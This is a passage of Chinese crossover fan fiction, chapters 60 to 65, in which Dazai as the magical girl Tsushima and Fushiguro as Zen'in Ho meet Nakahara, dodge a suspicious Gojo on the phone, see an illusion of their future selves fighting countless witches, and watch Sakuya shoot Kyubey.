看似温和的笑容里夹杂着明显恶意，话语慢吞吞的。 “只要他亲自来见我，我就告诉他。” 虽然织田作之助复活了，可太宰治还没忘记当初是谁算计了那一切，把织田送上了死路，将自己逼出港口黑手党的。 所以这一次，如果森先生愿意亲自找上门来的话，他也就不介意回报一下对方。 对魔法少女感兴趣，对吧？ 森先生那么重视横滨、那么推崇最优解，自然会在关键时刻以大局为重，选择签订契约变成魔法少女吧？ 中原中也倒也察觉对方似乎不怀好意，但猜测的方向却错了，或者说假如能猜对才是不可思议的。 他沉声警告道： “如果你想要伤害首领的话，那就是和整个港口黑手党为敌，我会碾碎所有黑手党的敌人。” “打打杀杀的多无趣啊，我这种柔弱的女孩子很怕血呢，才不会这么做的。” 中原中也盯着她，仿佛想直接看出对方的意图，黑发少女毫不畏惧地笑着回望过去。 “你们首领不愿意来也没关系，我又不强求。” 太宰治说道：“不过，无论是胆子小还是没诚意，我都不想与这样的港口黑手党接触呢。” 这是赶人的意思了。 中原中也有点不太想就这样听话地乖乖离开，他张了张口，准备反驳地说些什么…… 电话在此刻响起。 中原中也想了下，先接起电话。 不过没想到，打来的不是他的首领或下属，而是应该此刻正处于休假的阿呆鸟。 “喂，中也，我听说了你的任务了。” 对方兴致勃勃的声音从手机里传出：“怎么样怎么样？你已经见过魔法少女了吗？她看起来可爱吗？” 中原中也看了看笑着的津岛，又看了看没什么表情的艾尔菲，没好气地回道：“啊……挺可恶的。” “我就说……诶？！”阿呆鸟明显在那头愣了一下：“看起来你的任务很不顺利啊。” 第60章 阿呆鸟语气偏快地问道：“那么，需要我帮忙吗？中也。” “不需要。” 熟悉阿呆鸟的中原中也听对方的语气，就知道对方在想什么。 “谁过来都没用，反正她们不会轻易答应与我们的合作。” 阿呆鸟可惜地嘟囔着：“哎，让我去试试也没什么嘛。我也想在现实里去见见魔法少女。” 中原中也难以跟对方解释。 魔法少女完全不像其他人想象中的那样，只从脾气来看，那是相当恶劣啊。 然而，大多数人都被其年幼又美丽的外貌所欺骗了。 中原中也欲言又止。 阿呆鸟却也看出了他的态度：“中也，你对魔法少女的态度和芥川很像哦。他看起来也很不喜欢她们。” “真可惜，医生、钢琴家他们对魔法少女无感，你又是黑粉。” 阿呆鸟叹气道：“怎么只有我喜欢她们，明明论坛上的同好那么多，现实生活中为什么就一个都找不到呢……” “……没什么正经事我就挂了。” 中原中也说完，便干脆利落地挂了电话。 他突然觉得和芥川有了不少共同话题。 芥川除了莫名执着于太宰治之外，眼光还是勉强可以的嘛，能看出隐藏在魔法少女外表下的恶劣本性。 中原中也侧头看向两位魔法少女，视线停留在津岛身上。 他本来想告别的，直觉却让他下意识出声道：“你这些绷带是……” “应该算是我的武器吧。” 太宰治明白自己之前卖出的破绽实在有些多了。 有着成年男性和少女这一巨大反差，换作是其他人的话，可能很难猜出来。 但是，他和中也曾经做了几年搭档，对方是熟悉他的。说不准真能将二者联系起来，怀疑验证再逐渐确定他就是津岛。 为了有一天不被倒反天罡地被中也喊作小矮子，太宰治勉为其难，只能委屈一下自家的绷带。 “不过，我还蛮不喜欢这武器的。绷带的杀伤性实在有些弱，平常绑在身上也蛮不习惯的。” “这样啊。” 中原中也莫名觉得放心了许多，随口应道。 津岛和太宰治还是有着很大不同的，至少……太宰那家伙应该是不会嫌弃他自己那本体绷带的吧。 …… 横滨那边暂且没什么事了之后，伊江朔久便操控丘比，借助太宰治的书页回到了东京。 横滨的两位魔法少女都挺好约的。 毕竟菲茨杰拉德目前差不多算是无业人员，而太宰治又向来擅长将自己的工作转移给别人。 不过，东京的两位魔法少女就不一样了，那两位虽然也答应了。 但他们一个是警察，一个是学生，近期都非常忙碌。 要选个大家都有空的日子，还蛮不容易的。 伊江朔久等了好些日子，才终于和所有人商量好，选择了一个普通的周末，定在太宰治于东京的一处安全屋里见。 伏黑惠提前变身，换上中性的衣服，戴好帽子、口罩和墨镜，把自己捂得严严实实，才勉强敢走在大街上。 如今，他已经深刻地理解了成名后的缺点。 幸好有官方对于传播这些事情的打压，让他不至于在街上或各个电视台上看见禅院穗的身影，之前日卖电视台的报道也被撤了…… 但是，关于魔法少女的讨论却完全不见减少。 而且正因为其他地方遏制这种事，魔法少女网站才涌入了更多的用户，在没办法被官方管控的地方热烈发言交流。 所以，知道禅院穗样貌的人现在肯定不在少数，伏黑惠走在路上心惊胆战的，十分害怕被别人认出来。 而且路上看向她的人还挺多的，毕竟她这一身严实的装扮确实吸睛，有好多人偷偷瞥她，想知道她是不是什么需要隐藏身份的大明星。 虽然现在这爆火的程度，和大明星确实也没多少差别了。 伏黑惠心累地到达了约定好的地点。 在门口敲了敲门、没得到回应之后，伏黑惠便也知道自己来得太早了，离约定的时间还有好久，其他人还一个都没到呢。 但是，变身后的她如今也没其他地方可去，总不可能以这副形象回家去见津美纪吧。 想了想，黑发绿眼的少女便踩上了一旁的楼梯。 这个屋子刚好处于最高的楼层，她走了几步台阶后，就到达了天台。 把帽子、口罩和墨镜摘掉，吹着天台凉丝丝的风，伏黑惠缓了一口气，心情也渐渐好了许多。 这时候，手机突然轻响了一声。 伏黑惠拿起手机，看到了来自五条老师的简讯，心情骤然又跌了回去。 五条悟：【惠，在干什么呢？要不要来找我玩啊？】 伏黑惠果断拒绝了：【没空，不去，谢谢。】 五条悟：【你今天没课也没任务，哪里没空了？你之前不是说今天要回家吗？你家那附近有只咒灵，要不你去顺便解决了吧。】 这么快就图穷匕见了？？ 伏黑惠现在根本不在自己家附近，却依旧镇定地询问：【附近是有多近？】 五条悟报了一个稍微比较详细的地址。 伏黑惠熟练地回道：【这哪里近了？只要在东京范围内，就算是附近了对吧？你自己的任务，就自己好好去做。】 五条悟完全没有被拆穿后的不好意思，反而道：【磨练学生其实也是老师的工作嘛。】 伏黑惠：【谢谢，不用了，我平常自己的任务也很多，暂时不想再去做更多的任务了。难得休息，五条老师你就让我好好休息一下吧。】 五条悟：【只是这种程度就累了啊，惠的身体真的没问题吗？】 伏黑惠：【……没问题，你别多想。】 先前他与丘比契约之后的一长段时间里，五条老师都不知道在忙些什么，总之经常不见人影。 但他们之间还是有见过面的。 签订契约后再次与五条悟碰面的那一次，五条悟盯着他看了许久，就像是用六眼给他做了个x光检查，脸上一直带着奇怪不解的神情。 当时伏黑惠担心被对方察觉秘密，小心地询问怎么了。 五条悟却没说出个所以然来，被问只说他也不知道，仅仅是莫名觉得伏黑惠身上缺少了什么。 伏黑惠那时提起心来，问到底少了什么。 五条悟沉默了片刻，说我看不出来诶，哦哦，一定是惠你缺乏锻炼，肌肉慢慢消失了。要多向你老师我学习啊，看我的肌肉可比你结实多了呢。 伏黑惠虽然被噎住了，但同时也无声地松了口气。 他想，自己和丘比签订契约后，身上有所变化也算是正常的，毕竟他还能随时随地瞬间变成女孩子呢。 五条老师没发现异常，真是太好了。 而此时，五条悟又换了个话题：【对了，既然你在家的话，就顺便和津美纪一起跟我聊几句吧。】 说罢，对方直接打来了电话。 伏黑惠这时终于被对方这突然的举动，弄得紧张起来。 自己现在根本就不在家，津美纪就更加不可能在旁边了，完全没办法接五条悟的对话。 但是不接的话，要用什么理由呢…… 要是被五条老师知道自己所说的回家是假的，再和之前自己好多次回家的借口联系起来，那不就很容易被发现自己隐藏着重要秘密吗？ 伏黑惠纠结了半天，接也不是，不接也不是。 在他下定决心准备还是先挂断电话时，电话先自动挂断了，紧接着下一个电话即刻响起。 匆忙间，伏黑惠下意识想挂断，但却不小心按到了接通的按键。 “莫西莫西，惠和津美纪都在吗？为什么接得这么慢？而且刚才怎么没接我第一通电话？” 五条悟打招呼道。【你现在阅读的是 】 60-70 第61章 伏黑惠紧张起来，该怎么回五条老师的话呢…… 要说津美纪有事出去了吗？ 可是，如果五条老师之后询问津美纪的话，这个谎言便会被立即拆穿。 到时候，那两个人都会知道他有事情瞒着他们。 而且按照五条老师的性格，是绝对不会轻易放过他的，一定会各种缠着他逼问他到底隐瞒了什么秘密。 就在伏黑惠飞速思考的时候，五条悟听那边半天没什么声响，不由得幽幽地问道： “惠，你该不会在背着我干什么亏心事吧？” 伏黑惠吓了一跳，本能地脱口而出道：“没有！” 然而一出声，伏黑惠就意识到遭了，她听到了自己如今属于女孩子的柔和声线。 刚才光着急想借口了，居然情急之下忘了这一茬。 五条悟惊讶道：“诶？！” 伏黑惠十分慌乱。 怎么办，该怎么解释，要他现在先解除变身、恢复原本的声音，然后让五条老师误以为自己听错了吗？ 但是以最强咒术师的体质，五条老师怎么可能相信自己听错了！ 那该怎么办，他要说自己是到了变声期吗，年龄虽然是差不多，但是变成女声这也太离谱了！…… 伏黑惠脑海中一时间闪过了无数个念头，可却没有一个靠谱的。 直到五条悟先开口道：“你是谁？我家惠呢？” 伏黑惠瞬间明白，五条老师根本没有发现这个女声是他性转后的声音。 想起当初津美纪刚在医院里醒来时的情况，伏黑惠心念一动，下意识说道：“我是他的朋友……” “诶，那我怎么从来没听说过你呢。”五条悟的语气像是不怎么信任他的话。 伏黑惠不是很擅长说谎：“那个，我……” “你别紧张嘛，我只是惊讶一下，没想到惠会有这么可爱的朋友，居然还一直没告诉我。” 五条悟饶有兴趣地连连追问：“对了，你为什么会拿着惠的手机？他现在去哪里了？他不是应该在家吗？刚才是他在跟我发消息吧？” 伏黑惠几乎要被这一连串问题给问懵了，艰难回答：“他、有事要忙，手机刚才落下了。” “落下了？” 五条悟重复完这一句，顿了顿，问道：“他刚才不是在跟我发消息吗？怎么会忽然把手机落下，难不成是他有什么急事？” 伏黑惠脑子一团乱麻。 他深刻地理解了那句话，一个谎言往往要用无数个谎言来掩盖。 然而他从小不怎么爱说谎，没多少经验，现在完全编不过来谎话。 ……急事，什么急事…… 伏黑惠来不及多想，脱口道：“他去卫生间了。” 五条悟语气变得微妙，试探道：“……那津美纪在哪里？能让她接电话吗？” 伏黑惠现在完全没心情仔细分析五条悟的话，只是凭本能反应地拒绝道：“我不知道，总之她不在这里，接不了电话。” “哦~” 五条悟的这个应声仿佛百转千回，蕴含了颇多意味。 伏黑惠听出了异常，却不明白对方这到底是什么意思。 他小心谨慎地问道：“怎么了？” “没怎么。” 五条悟话虽这么说，却展开了攻势，重复对方之前的话：“他把手机落在你身边了？” 伏黑惠茫然地应着“啊，是的。” 五条悟继续道：“他去卫生间了，现在还没有回来？” 伏黑惠感觉不妙，但如今也不方便解除变身再跟五条悟回话，只能硬着头皮说道： “是的。” 五条悟问道：“你那边听起来挺安静的，附近是只有你和惠在吗？” 伏黑惠沉默了更久，才道：“……是的。” “津美纪不在，只有你们两个人待在一起的话……你们现在是在你的家里吗？”五条悟的语气显然是在期待着什么。 伏黑惠脸黑了下来，彻底弄懂了五条悟在想什么。 他脑海里又回响起自家姐姐当初说的“惠，你该不会是……喜欢穗吧？”，这句话呈现立体环绕音效不断响起…… 伏黑惠咬牙切齿地道：“请不要多想，我和他的关系没那么好。” “别这么说。”五条悟像是在安慰他：“惠他即使推脱掉任务，花费珍贵的假期时间，以回家为借口……也要和你单独相处，他一定是非常在意你的……” 伏黑惠想要反驳，却发现自己完全想不到合适的理由。 但是这些话也太令人有吐槽欲了吧。 推脱掉任务，那又不是他自己的任务！花费假期时间，是因为他跟其他人有约！以回家为借口，只是为了找机会去处理魔法少女的事情！ 至于什么跟禅院穗单独相处，非常在意她……简直就离谱得过分了！ 事实证明，没有最糟糕，只有更糟糕。 五条悟说出了更恐怖的话：“不过你们如今年龄还是太小了，还是要注意一点……” 他话没说出来，就好像这样很委婉一样。 伏黑惠脸却乍然红了起来：“没有！真的没有！” “诶，那惠怎么还没回来？” 五条悟想了想，宽慰道：“别担心，你们的事情还不想让其他人知道吧？我是不会说出去的。” 在听到前半句的时候，伏黑惠的脸不禁有些更红了，可完全想不到该怎么解释。 不过听到后面，伏黑惠开始犹豫。 五条老师难得对女孩子这么体贴，还说不会说出去…… 如果直接应下的话，津美纪和其他人都不会知道这些，之后还更有利于自己瞒住魔法少女的身份。 “你真的不会说出去吗？” 五条悟笑道：“放心，我可不是会打击早恋的无趣大人。” 闻言，伏黑惠忍辱负重道：“……谢谢。” 这一句谢谢算是承认了之前的话了。 救命，伏黑惠在心里默默破防，自己的风评就快沦落到跟五条老师一样了。 “话说，既然你是惠的……朋友，那我能见一见你吗？” 五条悟声音轻快，坦诚道：“惠从小就那个独立的性格，一直不会讨好女孩子，所以我对你真的很好奇。” 伏黑惠张口就想拒绝，可是想到直接拒绝太奇怪了，转而找借口道：“之后有机会再说吧，我平时很忙，没什么空。” “有机会是什么时候啊？”五条悟不甘心地追问。 “总会有机会的。”伏黑惠尽力敷衍道：“那个……我等会儿还有事情要做……” 都说到这份上了，五条悟只好说道：“好吧，那就不打扰你们的二人世界了。” “再见。”说完这一句，伏黑惠也顾不上什么礼貌，便直接心累地挂断了电话。 黑发绿眼的少女松了一口气。 然而，她还没放下手机，便感觉到自己右侧肩上悄无声息地搭上了一只手…… 第62章 变身后，她的身体素质比以前更好了不止一星半点。 怎么可能被人直接溜到自己身后都没发现，除非那个人…… 而正巧此刻，伏黑惠想起了最强咒术师刚才的那一句“那我能见一见你吗？”，顿时提起了心。 沉默片刻，伏黑惠将手机关机后收回去，语气尽量自然地说：“津岛，别突然随便出现在别人背后吓人。” 从之间和津岛的相处来看，对方有瞬间移动的这类能力，似乎性格还有点恶趣味…… 此刻是最有可能出现在这里来吓唬自己的。 她转过身去，果然看到了一个黑发鸢眼的少女。 对方笑容看似友好：“只是开个玩笑啦。” 伏黑惠却笑不起来。 担心的事还是发生了，太宰治没有放过她，而是继续道：“你刚才在和谁打电话呢？表情很有趣哦。” “和你没关系吧。” “嘛，我只是随便问一问啊，那么严肃干什么。” 伏黑惠深呼吸，问道：“你什么时候到的？” 幸好，太宰治回答：“放心，没多久啦，也就刚刚到，发现你来得很早呢。” 伏黑惠勉强放下了点心，也是，如果津岛已经到了很久，自己应该不会察觉不出来。 “我……” 伏黑惠不知道该说些什么，幸好这种时候，她察觉到了下方不远处巷子里的异样。 她站在天台上低头望去，能够远远看到某条阴暗的巷子里仿佛隐约发出了微弱的光，旁边的行人却完全没有注意，就好像看不到那里的光一般。 太宰治也顺着她的目光看去，并且第一时间感受到脖颈上戴着的灵魂宝石项链微微亮了一下。 “似乎是魔女？”伏黑惠喃喃道。 “应该没错，走，我们过去看看。”太宰治一副跃跃欲试的样子。 “现在吗？”伏黑惠有所犹豫。 目前这个时间点虽说还算早，但如果等下进入魔女结界的话，很可能一不小心就耽误了，赶不上过会儿和其他人提前约好的时间。 “当然啦，你不会还要等其他人吧？” 太宰治怂恿道：“要是等到别的魔法少女来了，哪有我们的机会。还不如趁早解决掉那个魔女，这次的悲叹之种给你。” 伏黑惠愣了一下。 太宰治说：“我可不像别的某些人，我不喜欢一直欠着别人的人情。” “上次的事情……” 伏黑惠本来想说，那不算什么，要不是津岛帮了大忙，最后也无法打败上次的魔女。 可是，太宰治完全没留给她说完一句话的时间，对方看没办法快速说动她，便直接道：“你不去的话，那我就一个人去了。” “等等——” 然而伏黑惠没能及时喊住她。 太宰治就像来时的悄无声息一样，离开得也很快。 短距离迅速位移能力使她的身影瞬间消失，又出现在另一处地方，又消失……很快，她就从天台上到达了楼下附近的一处巷子里。 伏黑惠无奈，不可能让津岛一个人去对付魔女，更别说对方刚才还说了，这次的悲叹之种是作为上次的人情还给她的。 不过……伏黑惠稍微迟疑了一下。 她所在的位置还挺高，要是走楼梯大概是赶不上津岛的。 伏黑惠想了想，使用能力，背后浮现出一双大型鸟类的翅膀……她从天台上跃下，很快也跟着飞到了那处巷子里。 她收起翅膀，向前迈步，刚想喊住前面的人。 结果下一刻，她们周围的场景便骤然发生了变化。 四周的景象仿若一场噩梦。 处处皆是残垣断壁，坍塌的碎石与尘土交织。道路满是裂痕和坑洼，地面上的焦黑如同伤痕一般触目惊心。 更恐怖的是，附近充斥着众多形象各异的珂拉琪风格的巨大特殊怪物，没有理智、不分敌我地攻击着周围的一切。 这些景象显然都是它们所为。 这……是魔女吧？ 她们这是已经进入魔女的结界了吗？ 伏黑惠对这种样子的怪物比较眼熟，之前见过的魔女都是这种特殊的风格——如同抽象的艺术品般，有种夸张诡异之感。 可是……为什么数量会这么多？周围的场景又是怎么回事？ 这一眼望不到边的辽阔范围，比她们之前见过的魔女结界都要大太多了，所以看着根本不像是魔女结界。 伏黑惠有点怔愣。 虽然自己之前也祓除过不少咒灵，但是也几乎从来没有见过这样的场景。 真的如同末日一般，满目疮痍。 此时，太宰治侧过头来望向她，情绪似乎没怎么被这些所影响，依旧轻快地说：“哎呀，这下可能玩大了，我们应该是解决不了了。” 伏黑惠沉下心来，不过也不能就这样放弃，她努力快速思考办法。 脑海中浮现起了上一次与镜之魔女战斗时的场景，伏黑惠下意识地道：“津岛，你的绷带能不能……” 上一次，镜之魔女底下的使魔可以变化成魔女的样子，是津岛用漫天的绷带缠绕住了它们，才能从中找到真正的魔女…… “不能。” 而这次，伏黑惠还没说完，太宰治便直接拒绝了：“我做不到，这次大概率不是使魔。” “绷带的长度增加后，坚韧度也会被迫随之减弱，顶多只能同时缚住众多弱小的使魔，却无法困住魔女。” 不是使魔？这怎么可能…… 伏黑惠难以置信，这个数量……不是使魔的话，怎么可能会有这么多的魔女？？！ 太宰治看出了她的惊愕，道：“之前那些可以幻化形态的使魔，只能做到模样相同，实际动作却呆滞许多，并且全是一模一样的行为逻辑。” 面前的这些魔女形象各异、性格和攻击的动作习惯也各不相同，都有着强大的实力…… 怎么可能是使魔幻化的。 伏黑惠听懂了这道理，脸色却是更加差劲了。 “不过也不用担心。” 太宰治看着这些到处肆意攻击、却始终好像看不见她们两人，所以未对她们发动攻击的魔女们，说道：“反正它们一直没有攻击我们，不是吗？” 这就更奇怪了。 如同末日一般的废墟，无数各不相同的魔女，目前好像并没有遭遇什么危险的她们自己…… 伏黑惠此刻有太多的问题想要问，却无人能够解答。 明明刚才巷子外还是一副平和的景象，怎么在她们踏入这里后，就变成了这样？难道这是什么穿越的入口不成？ “虽然现在我们好像没什么事，不过再待下去可能就说不准了。禅院，要我带你离开吗？” 太宰治问道。 伏黑惠想起了之前在镜之魔女的结界里，对方也曾说过这样的话，当时自己拒绝了。 不过好在，如今结界里似乎没有什么无辜民众，她们也不必非要留下来拼命。 伏黑惠暂且松了口气。 第63章 伏黑惠顿了顿，道：“谢谢，那你欠我的人情也就抵消了。” “本来也是我要拉你来到这里的。”太宰治无奈地说着，然后手上变出了《女生徒》那本书。 她发动能力，准备带对方离开…… 琥珀色的光芒亮起又暗淡下来，三秒后，两人还留在原地，只能面面相觑。 太宰治愣了愣，再次尝试动用能力。 一分钟后，周围的景色依旧没变。 三分钟后，伏黑惠委婉地开口：“津岛，要不你先休息一会儿吧？” 太宰治沉默了片刻后，说道：“我的能力没出问题。” 伏黑惠点了点头，脸上浮现一丝真实的担忧之色：“所以，是这个地方太过特殊，还是我们真的穿越了？” 果然，这个禅院穗应该是年纪不怎么大的少女…… 太宰治忍不住想，对方也太会想了，她们怎么可能追着魔女的踪迹，就穿越进了异世界呢。 “……这里应该是幻境之类的地方，总之不是现实世界。所以我们不能用在现实里脱困的那些方法来离开这里。”太宰治道。 “如果是幻境，我们要怎么才能出去？” 伏黑惠的目光扫视过周围的一切景象。 连他自己也觉得意外，这么快就相信了津岛说的可能性，将眼前的一切认作是幻境。 也是，如果真的是现实的话，这些可怖的场景才更加令人难以接受吧。 伏黑惠迟疑地道：“想要出去的话，是不是要解决掉这里的所有魔女，还是……要解决掉我们自己？” 传闻中从幻境离开的方法，也就是那么几种。要么从外界打破，要么杀掉幻境里的所有敌人，要么杀了自己恢复清醒…… 如今面对数量这么多的魔女，杀了自己比杀光它们要容易太多了。 只不过谁也无法保证，在幻境中死掉，于外界现实里的自己会不会也跟着死掉。 而且也不确定，她们是否能杀掉幻境中的魔女。 太宰治没有及时回答。 伏黑惠不解地看向她，却发觉她视线转移到了另一个方向。 “这些魔女，应该是不需要我们来处理了。”太宰治望着远方，低声道。 这句话说得莫名其妙。 伏黑惠没有理解，只能也跟着她的视线望过去。 予溪笃伽 只见有两个熟悉的人从远处而来，停在了不远处的建筑物之上。 一个是黑发鸢眼、穿着枯叶色裙子的少女，一个是黑发绿眸、墨绿色拼接式衣裙的少女。 伏黑惠瞳孔微缩，不由得愕然。 那不就是津岛和她自己吗？！！ 她看了看身旁的津岛，又看了看不远处的那两个开始与魔女缠斗的人…… 来回看了几遍，也没有分辨出对面那两人与她们的区别来。 自己往往是最熟悉自己的，但就算如此，她也看不出对面那个禅院穗的任何破绽来，更别提找出对面那个津岛与身边这个津岛的不同之处。 不过，倒也还是勉强有可以暂且作为区分的地方……对面两个人的灵魂宝石都有着深刻的仿佛抹不开的墨色。 还有，幻境里突然出现的那两人似乎和其他魔女一样，都无法看到她和津岛。 “……那这样的幻境究竟有什么用呢。” 伏黑惠忍不住喃喃道。 而太宰治则上前几步，接近幻境里的那两人，专注地盯着她们，不知道在想什么。 伏黑惠稍作犹豫后，也跟着上前，还没来得及说话，就听见了津岛的声音。 ——不是旁边的津岛，而是对面刚干脆利落杀死了一只魔女的另一个津岛。 那个人恹恹地道：“这些魔女真是无穷无尽啊，麻烦死了。累死这样的自杀方式，我可一点都不想尝试啊。” “再坚持坚持吧。” 另一个禅院穗一边开口宽慰，一边熟练地配合着津岛，将对方用绷带暂时禁锢住的一只魔女给杀掉。 “等到其他人过来帮忙，我们就可以暂且休息了。” 那个津岛完全不相信：“其他人怕是也自顾不暇吧。” “也是……那就只能等那个人来了。” 禅院穗没有直接点名道姓，因为她们都明白那个人是谁。 津岛没怎么回应，再次出声却是突然换了个话题：“对了，你还记得我们那天第一次遇见预言魔女的时候吗？” 禅院穗愣了愣，差点被旁边的有点像影子的一只魔女给偷袭成功。 幸好津岛及时出手帮忙，用绷带缠住了那只魔女。 “小心。” …… 而此刻在旁边看着的伏黑惠和太宰治也难免有点失神。 “预言……”太宰治一边回顾着刚才到现在发生的这一切，一边琢磨着这两个字。 “这幻境是魔女预言的场景？是……未来吗？” 伏黑惠有些不敢相信。 未来她们会遇到这种危机吗？怎么会同时出现这么多魔女？真的能够解决这些吗？…… 不过眼前这两个人与魔女战斗时的动作十分流畅，效率很高，没什么动作是多余的。 显然已经磨练过很多次，能够非常熟练地运用自己的魔法。 这绝对不是现在的她们两人能够做到的。 可是，真的是……未来吗？ 太宰治心不在焉地说：“也许吧。” 伏黑惠想到了不对劲的地方，点出道：“要真是未来的话，想做到像她们那样熟练地对付魔女，应该至少也得花上一两年时间吧？可是为什么她们个子没有任何改变？” 伏黑惠怀疑这只是魔女幻化复刻出来的景象而已，与未来无关。 太宰治却说：“……说不定她们还在生长期呢。” 伏黑惠：“……” 魔法少女会有生长期吗？ 这么一想，她也突然开始不确定魔法少女的身高是否会随着年龄增长而变化。 或许几年后她们确实还是这个身高。 “先认真听吧。”太宰治望着那边：“说不定她们会主动‘告诉’我们原委呢。” …… 面前的两人暂且合力解决了偷袭的魔女后，禅院穗才抽空回应道：“谢谢了……我只是有点没想到，原来就是今天啊。” “确实，时间过得稍微有些久了，我都差点要忘了当时的全部细节了。”津岛勉强笑道。 禅院穗沉默着没有继续搭话，不过对付魔女的动作缓了下来，显然在意着津岛所说的话题。 津岛顿了顿，还是主动问道：“你不想给过去的自己说些什么吗？比如你认为重要的事情。” “不了。” 禅院穗的心情看起来不怎么好，缓缓道：“即使说了，也无法改变什么吧。” 过去的一切已经注定，什么都无法改变。 第64章 “也是。” 津岛理解禅院穗的心情：“提前知道的话，大概也只会带来不必要的烦恼……” 虽然津岛这么说了，但是看起来却还在犹豫着什么。 她眼里藏着无数复杂的情绪，微不可察地叹了口气，张口想说什么又合上。 太宰治则静静地看着不远处的这另一个自己，对方所有的细微情绪变化都映在其眼中，太宰治却不能理解对方为什么会是这样复杂的情绪。 这真的是自己吗？ 太宰治能够判断出对方确实是自己，可正因为如此，才不明白自己什么时候会变得这么纠结踌躇。 想说什么大可以直接说吧，何必让人去凭空猜测。这么喜欢为难过去的自己，还真不愧是‘太宰治’啊。 太宰治莫名有点烦躁地想着。 气氛有些僵硬。 不过，魔女们还在兢兢业业地涌上前去攻击，两位魔法少女继续应对着这些魔女，谁也没说什么。 战斗的时候，不说话似乎也很正常。 津岛将绷带甩向最近的一只魔女身前，再利用瞬间移动闪身到魔女身后，熟练地把绷带缠绕在其脆弱的脖颈处。 绷带缩紧，变短的同时，韧度也随之提升。 用力绞杀—— 魔女的头颅软软地塌下，骤然失去了所有力气，身躯也轰然倒下。 津岛连缓口气的时间都没给自己留，又立即迎上了另一只魔女，仿佛要沉浸在这无尽的战斗之中。 但太宰治紧紧地盯着她，没有半分要挪开视线的意思。 看着对方的眼神里，某种说不清道不明的色彩愈发浓重，像是压抑着什么情绪…… 终于，不经意间，黑发鸢眼少女的唇隐约动了动，喃喃似的发出了微弱的声音。 太宰治仔细辨别着那声音。 “朔……” 后面的话没有说完，便被风吹散离去，难以捕捉。 太宰治重复了一遍：“saku……” 朔……？ 伏黑惠第一时间只能想到那个人：“是……朔夜吗？” 太宰治却不能轻易下判断。 脑海里浮现出某一晚的海边，海风与海浪的声音交织着。 那个尚且未成年的坐着轮椅的少年，不露声色地将他劝走，留在那里看着他离开，笑着轻声道：“再见。” ……是朔夜，还是朔久呢？ 不过太宰治没有将这一疑惑告知伏黑惠，毕竟能从‘津岛’口中说出来的大概是朔夜没错，她和伊江君也没什么关联。 就算是太宰治本人，也和伊江君不怎么熟悉，一般情况下不可能在这种时候提到对方，更不可能直接亲近地喊对方的名字。 所以应该就是朔夜了…… 可是为什么会提到她？为什么……未来的自己会是那样的情绪？ 那真的是未来的场景吗？ 灰蒙蒙的天空难以辨别具体时间，一片残破的建筑显得格外凄凉，最基础的方向也无法判断，更别提分辨出这里到底是哪里。 太宰治一时间只觉得思绪难得有些混乱。 无数条线缠绕在一起，大多数线只露出一点线头……要想将其理清、找到真相，现在的自己暂时还无法做到。 就在这时，伏黑惠诧异看向一边，出声道：“朔夜！？” 太宰治先放下思考，也顺着其视线向那个方向望去。 刚才被提及的主人公不知何时站在那里。 白发青瞳的少女正漠然地看着这边，眼神里不带一丝情感，就像是在看没有生命的死物。 伏黑惠怔了下，记得之前第一次见面时，对方杀死魔女时的表情也没有现在这么冷。 周围的场景此刻迅速变化着，破败的建筑淡去，魔女们的身影消失不见…… 可是，伏黑惠和太宰治却没有回到之前的那条巷子里，而是又来到了另一个不知名的地方。 少了那些魔女制造出的嘈杂声音，周围一下子安静了许多。 伏黑惠本能地暂时放松了一点。 朔夜那个人虽然看起来很不好惹、不近人情，但也没真的做出什么不好的事情。 之前在医院时，对方打败了魔女，即使是为了悲叹之种而来的，但也算是间接地救下了自己和津美纪。 还有那一次在浅井公寓楼，伏黑惠看了那次的直播。 因为朔夜和其他人的出手，才最终成功地抓住了那个炸弹犯，阻止了两处地方的爆炸。 伏黑惠那次非常后怕，没想到炸弹犯会将炸弹设在米花中央医院。 当时津美纪由于昏迷了太久才醒来，还留在米花中央医院里观察……伏黑惠都不敢想象，如果那次的炸弹被引爆会造成怎样的后果。 幸好有着朔夜…… 所以，伏黑惠不免对其保留了几分好感，认为对方可能是脾气不太好、需要小心对待的同伴（？） 和五条悟那样总是坑学生的老师待久了，伏黑惠对于朔夜这样有着一定危险度、不太敢信任的同伴也有了些适应性。 然而就在此时，面前白发少女的手里却忽然多出了一张弓。 伏黑惠没有太过在意。 顶着已经习惯了的对方的冷漠表情，伏黑惠准备上前跟朔夜搭话，询问一下她有没有离开这里的办法。 伏黑惠还没来得及发出声音，就见朔夜朝着自己所在的方向举起了弓，风轻轻吹拂起了她的发丝。 她专注拉动弓弦，凭空出现的箭矢对准了这边…… ……？ 什么？！！ 伏黑惠一时愣住了。 “小心——” 太宰治最先反应过来，想要使用能力带着伏黑惠转移位置，躲过这一攻击。 但是根本来不及。 太快了，朔夜的动作熟练而迅速，没有丝毫犹豫便射出了箭矢，似乎带着难以掩饰的杀意。 太宰治都还没触碰到伏黑惠，那支蕴含着难以想象的能量的箭矢便已经划破空气，降临至两人面前。 糟糕…… 太宰治几乎已经要预见下一刻的惨痛场面。 单凭她们两个新任的魔法少女，根本无法抵挡这种程度的攻击。 这还是太宰治第一次见到朔夜出手，仅仅是一次拉弓，太宰治就已经认清了她们和对方的实力差距。 不过峰回路转，预想中的惨剧没有发生。 朔夜射出的箭矢穿过了伏黑惠的手臂，却如同幻影一般，没有给其带来任何伤害，而是继续向后方袭去。 太宰治松了一口气。 幸好，朔夜的出现是幻境，而这幻境也不会使她们受伤。 伏黑惠也紧跟着意识到这一点。 既然朔夜是幻境的产物，应该也会像之前的禅院穗和津岛一样，无法看见她们两个真实存在的人才是。 所以，朔夜的攻击目标不是她们。 伏黑惠下意识回过头去，想看看那支箭矢的真正目标是谁…… 第65章 伏黑惠和太宰治很快就得到了答案。 她们两个身后不远处，一只白色生物毫无声息地倒在了地上。 ——刚才朔夜那支箭矢的目标正是它，丘比！ 这个答案还真是令人意外，不过仔细想想还给人一种莫名合理的感觉。 那支箭矢方才穿过了伏黑惠的手臂，再往后继续袭去，箭矢的高度只会越来越低。 最后击中目标的那种高度……不管怎么想，朔夜攻击的对象也不应该会是人类。 而这幻境中，如今附近的景象看起来很正常，不像是处于魔女的结界里，只感觉是街上的随便一处角落。 所以是魔女或使魔的概率也减小了。 不对，怎么可能会是丘比啊？！ 朔夜怎么会突然攻击丘比？这一点也不合理！！！ 伏黑惠实在想不下去了，这太奇怪了，怎么都无法找出出一个合适的理由来解释。 成为魔法少女后，伏黑惠临时补过课，看过一些魔法少女类型的动漫作品。 其中没有一个是讲魔法少女的契约兽会死掉的。 按理来说，契约兽应该是所有作品里最安全的存在了。任哪方受伤出事，契约兽都不可能会出事。 ——更不可能被它亲自契约的魔法少女所杀死。 